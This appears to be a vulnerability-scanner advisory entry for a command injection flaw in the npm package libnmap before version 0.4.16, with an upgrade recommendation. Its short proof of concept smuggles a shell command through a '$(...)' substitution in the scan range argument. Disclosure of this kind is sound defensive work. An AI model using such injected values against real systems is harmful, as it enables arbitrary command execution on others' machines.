QID 983898
QID 983898: Nodejs (npm) Security Update for libnmap (GHSA-7g2w-6r25-2j7p)
Versions of `libnmap` before 0.4.16 are vulnerable to command injection. Proof of concept ``` const nmap = require('libnmap'); const opts = { range: [ 'scanme.nmap.org', "x.x.$(touch success.txt)" ] }; nmap.scan(opts, function(err, report) { if (err) throw new Error(err); for (let item in report) { console.log(JSON.stringify(report[item])); } }); ``` ## Recommendation Update to version 0.4.16 or later
Successful exploitation of this vulnerability may affect the confidentiality, integrity, and availability of the targeted user.
Solution
Customers are advised to refer to GHSA-7g2w-6r25-2j7p for updates pertaining to this vulnerability.
Vendor References
- GHSA-7g2w-6r25-2j7p -
github.com/advisories/GHSA-7g2w-6r25-2j7p
CVEs related to QID 983898
Software Advisories
| Advisory ID | Software | Component | Link |
|---|---|---|---|
| GHSA-7g2w-6r25-2j7p | libnmap |
|